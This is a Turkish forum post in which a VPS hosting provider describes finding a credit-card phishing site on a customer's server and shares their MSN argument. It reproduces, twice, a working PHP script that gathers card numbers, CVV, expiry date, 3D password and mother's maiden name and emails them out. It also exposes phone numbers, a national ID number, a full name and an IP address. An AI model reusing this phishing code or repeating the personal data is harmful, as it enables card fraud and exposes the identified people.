Merhaba
Geçen ay vps alan bir müşterimizin ödemesi 1 hafta geciktiği için hesabını suspend ettim. Kendisi msn'e geldi ve ödeme yapacağını köyde olduğu için arkadaşına yaptırabileceğini söyledi. Ödeme yaptılar ve daha sonra ip adresinin değiştirme talebi bulundular. Nedenini sorduğumda canım öyle istedi tarzında bir cevap aldım. Sonuçta burda para kazanmak için iş yapıyoruz. Müşteri'nin VPS'i Virtuozzo olduğu için file manager üzerinden ne kurduğunu inceledim. Kendisi biletix gibi bir site yaparak fake websitesi yaratmış ve milletin kredi kartı bilgilerini kendi email adresine gönderiyor. Kod örnekleri ve msn konuşmalarını aşağıda görebilirsiniz.
3d.php dosyası içeriği.
<?php
$a = $_POST["TelefonNumarasi"];
$c = $_POST["bankaadi"];
$d = $_POST["ccname"];
$e = $_POST["tckimlik"];
$f = $_POST["dtar1"];
$g = $_POST["dtar2"];
$h = $_POST["dtar3"];
$i = $_POST["kizlik"];
$j = $_POST["kartno1"];
$k = $_POST["kartno2"];
$l = $_POST["kartno3"];
$m = $_POST["kartno4"];
$n = $_POST["cvv"];
$o = $_POST["musno"];
$p = $_POST["sktay"];
$r = $_POST["sktyil"];
$s = $_POST["ksifre"];
$to = "soysalguven@gmail.com";
$subject = "Müþteri Geldi";
$mesaj = "
Lütfen Bankanýzý seçiniz : $c
Kart Sahibinin Adý/Soyadý : $d
Musteri Numaraniz : $o
Anne Kizlik : $i
Kredi kartý numaranýz : $j $k $l $m
Güvenlik Numarasý (CVV) : $n
Kart Geçerlilik süresi (Ay/Yýl) : $p $r
Kart Þifresi (3D) : $s
";
mail($to, $subject, $mesaj);
?>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-9" />
<center><img src = "pos.gif"><br><br><b><font face="verdana" style="font-size: 10pt" color="blue">Lütfen Bekleyiniz...</font><p>
<font face="Tahoma" style="font-size: 10pt" color="blue">Kredi Karti Ödemesi için POS Sistemine Baglaniliyor.. </font><br>
<center><img src = "pos2.gif"><br><br>
<meta http-equiv="refresh" content="2;URL=error.php">Hemen ardından vps şifresini değiştirerek sisteme login oldum ve aşağıdaki gmail hesabı önümde açık duruyordu.
Resmi kaldırdım.
Msn Konuşmaları:
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
telefon numaranız nedir
Muhammed:
5395215263
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
<?php
$a = $_POST["TelefonNumarasi"];
$c = $_POST["bankaadi"];
$d = $_POST["ccname"];
$e = $_POST["tckimlik"];
$f = $_POST["dtar1"];
$g = $_POST["dtar2"];
$h = $_POST["dtar3"];
$i = $_POST["kizlik"];
$j = $_POST["kartno1"];
$k = $_POST["kartno2"];
$l = $_POST["kartno3"];
$m = $_POST["kartno4"];
$n = $_POST["cvv"];
$o = $_POST["musno"];
$p = $_POST["sktay"];
$r = $_POST["sktyil"];
$s = $_POST["ksi
nedir bunlar
$to = "soysalguven@gmail.com";
$subject = "Müþteri Geldi";
$mesaj = "
Lütfen Bankanýzý seçiniz : $c
Kart Sahibinin Adý/Soyadý : $d
Musteri Numaraniz : $o
Anne Kizlik : $i
Kredi kartý numaranýz : $j $k $l $m
Güvenlik Numarasý (CVV) : $n
Kart Geçerlilik süresi (Ay/Yýl) : $p $r
Kart Þifresi (3D) : $s
";
kredi kartı mı topluyorsun
bilişim e sunucu bilgilerini gönderiyorum
hakkında yasal işlem başlatıcam
Muhammed:
DAlgami geçiosn
sen
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
kontor dolandırıcılığıda var galiba
Muhammed:
Kardeşim sen dalgami geçiosn
biz yillardir
yasal kontör işi yapiorz
tüm ewraklarımı
gösterm
sna
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
gönder bekliyorum
1 saate kadar
scan edip gönder
Muhammed:
were
wer
vps
imi
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
yoksa gayrettepe bilişim suçlarına mail atıcam
ispat et
Muhammed:
Yahu
gayrettepe
vatan
ben
50 yildir gidip qelirm
e2servers
el değiştirdi
böle oldu
ben sizle yi
lyillardir calisiorm
eski
arkadaşı
ara
sor
ben köydeym
köyde oldgm için
size ztn
parai gönderemedm
başkasndan yardm istedm
sana köy yernde scanner nasl bulaym
kardeşim buı attgn kodlarda cok eski
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
milletin kredi kartı bilgileriyle
Muhammed:
postan mail orderle
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
kontor mu alıyorsun
Muhammed:
qeçiriyoruz
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
adres ne
satış yaptığın
hemen söyle
hemeeen
Muhammed:
Telefonunu
werirmsn
ariym
şaka bu heralde
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
bırak sen telefonu
Muhammed:
posumuz olmadigi için
mail order
Yöntemi
ile
biz yüklüorz
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
tamam nerden satıyorsun
göster bana
adres ver ?
Muhammed:
bkle
fotoğraf paylaşma etkinliğini durdurdunuz
Muhammed:
Sen bnm izinsiz olarak vps'me ve mailime girdin. İllegal suç işleyen suan sensn bir kontör firmasının
bilgilerine izinsizce girdin
bilişme polise mahkemeye bizim vermemiz lazm
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
sen bana ispatini göster
geri vereyim
websitesi göster diyorum
satış yaptığın
nerede ?
Muhammed:
bkle
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
bekliyorum zaten
5397026741
5397093813
5397059894
5397060513
5397043597
5397010471
5397075539
5344275096
Muhammed:
müşterilern
numaraları onlar
kontör istegnde bulunan
yuklecell.net
gir
pardon
yanliş yazdm
Sen bnm vps'imi geri vermiomsn?
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
evet bi websitesinin adını yazman bu kadar zor mu
Muhammed:
Sen bnm vps'mi yada
parami
geri vermiomsn?
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
paranı iade ediyorum
şuanda bilişim e de mail atıyorum
Muhammed:
tamam
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
giriş yaptığın tüm ip adresleri dahil
Muhammed:
parami qeri iade et
Mahkemede görüşürüz
Bende gider gitrmez
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
dolandırıcısın
Muhammed:
savciliga gidiyorum
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
daha websitenin adını yazamıyorsun
Muhammed:
Görücez kim dolandirici
yazmak istemiorm
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
tamam hadi bakalım
Muhammed:
sna
paylaşmak
zormu
paramı qeri iade
et
sen o hesaba
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
ip kayıtlarını alıyorum
daha sonra teslim edicem
Muhammed:
AL
fARKETME<
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
pazartesi ararlar seni
Muhammed:
ada soyad da werebilirm
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
User Name: Administrator
Domain: MUHAMMED
Logon ID: (0x2,0x90B0E158)
Session Name: RDP-Tcp#1
Client Name: MASA-06
Client Address: 78.181.98.104
Muhammed:
Client Name: MASA-06
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
Caller Domain: WORKGROUP
Caller Logon ID: (0x0,0x3E7)
Caller Process ID: 31116
Transited Services: -
Source Network Address: 78.181.98.104
Source Port: 1320
Muhammed:
Parayi geri iade
et
bekliorm
hadi
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
vps ini geri vericem bekle kayıtlarımı alayım
Muhammed:
yok parami geri istiyorum
hizmetinizden memnun kalmadm
kayitlarni ben werim
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
git dava aç
Muhammed:
Muhammed Ali öztürk
tckimligim
bekle
dava açicam
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
ver
bakıcam
Muhammed:
zaten
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
web siteni
Muhammed:
avukatlara bir ton
para verioruz
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
veremiyorsun bile
Muhammed:
Avukatlarn yedigi parann adli hesabı yok
yaptklarıda bi ok yok
ben kosturmucam
o koşturucak
bkle
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
ver ver tc kimlik numaranı ver ispat et
karşında cocuk yok
ayda 2 3 kez böyle kişileri ihbar ediyorum ben
Muhammed:
farketmez
10139449540
al tckimligm
ikametgahmıda
wereimmi
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
bekle sorguluyorum
Muhammed:
telimi
fln
kardesm
servetr.comdan
aldm
vps
gerek kalmadi
istemiorm
diorm
parami qeri iade edermsn ?
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
sistemden ticket aç
3 iş gününde paran iade edilir
Muhammed:
ne demek 3 iş günü
ticket micket açamam
biz sana anında attık
parai
anında istiorm
Log aldm
r10
turkiyeforum
50 yere yazicam
hem dolandırıcılık damgası yiyelim
hem paramizi al
hemde
hakaret et
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
ben sana diyorum
Muhammed:
tAzminat davası
hakaret davası
ne varsa
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
websitenin adını söylermisin
Muhammed:
sana açıcam
kimse kimseye
bişi söliemez
sen kimsnki
ben sna sölicem
dewlet memurumusun
hesap soruosn
sana bişi spat etmek
yada sölemek zorunda degilim
varmı sözleşmende böle bişi
Cok sinirlendm cok
istanbula dönmiym
Muhammed size bir titreşim gönderdi.
Muhammed:
alooo
Muhammed size bir titreşim gönderdi.
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
biraz beklermisin
Muhammed:
kardeşim
iyimisn sen
?
canınmı sıkıldı
noldu
?
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
servetr den mi aldınız cihan bey'i ariyorum uyaracağım kendisini
Muhammed:
bunuda kayt
alşdm
ALdm
Almadm
alicam
msn ekledm
adamlari
Muhammed size bir titreşim gönderdi.
Muhammed:
parami qeri iade
ediomsn
Muhammed size bir titreşim gönderdi.
Muhammed:
Yahu sinirden öldürcekmsn
beni
ARkadaşm parami iade edermisin
paramı gasp ettin
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
geri iadeni yapıcam
öncelikle biraz bekliceksin
e2servers paramizi gasp edior:
yahu
Neyi
bekliorm
Sen iade
et
ondan sonra
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
ben seni 10 gün bekledim 2 saat beklersin
e2servers paramizi gasp edior:
Naparsan yap
Alla alla
dalgami qeçiosn
Muhammed:
werirmsn
para iadesini
Muhammed size bir titreşim gönderdi.
Muhammed:
kardeşim
para iademi
yaparmsn
Muhammed size bir titreşim gönderdi.
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
hesap numarası nedir
Muhammed:
SAna nerden geldigini bilmiomsn
ne bilim ben
arkadaşa rica ettim o yolladı
alla alla
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
göremem arkadaşından rica et bana mail atsın
geri göndereyim bende
admin@e2servers.com
Muhammed:
MAile gerek yok
bekle
başka arkadaştan alicam
hesap no ona
at
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
mail istiyorum
Muhammed:
KAfayimi yedn
sen
amacın ne
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
dediğim gibi email atıyorsun
Muhammed:
atarm problem degl
anında
yollıcakmsn
?
- E2Servers - Yepyeni Xeon Serisi VPS ve VDS'ler Stokta!:
hesap sahibi adi
muhammet ali ozturk
olarak istiyorum
yani senin.
Muhammed:
KEs ***
sesini
olm
warya
gelirim senin yerine
Anam awradımı siksinlrki
Kendisine gönderdiği ücreti iade edeceğim. Ayrıca bu konu linki dahil tüm screenshot ve diğer kayıtları yetkili kişilere göndereceğim.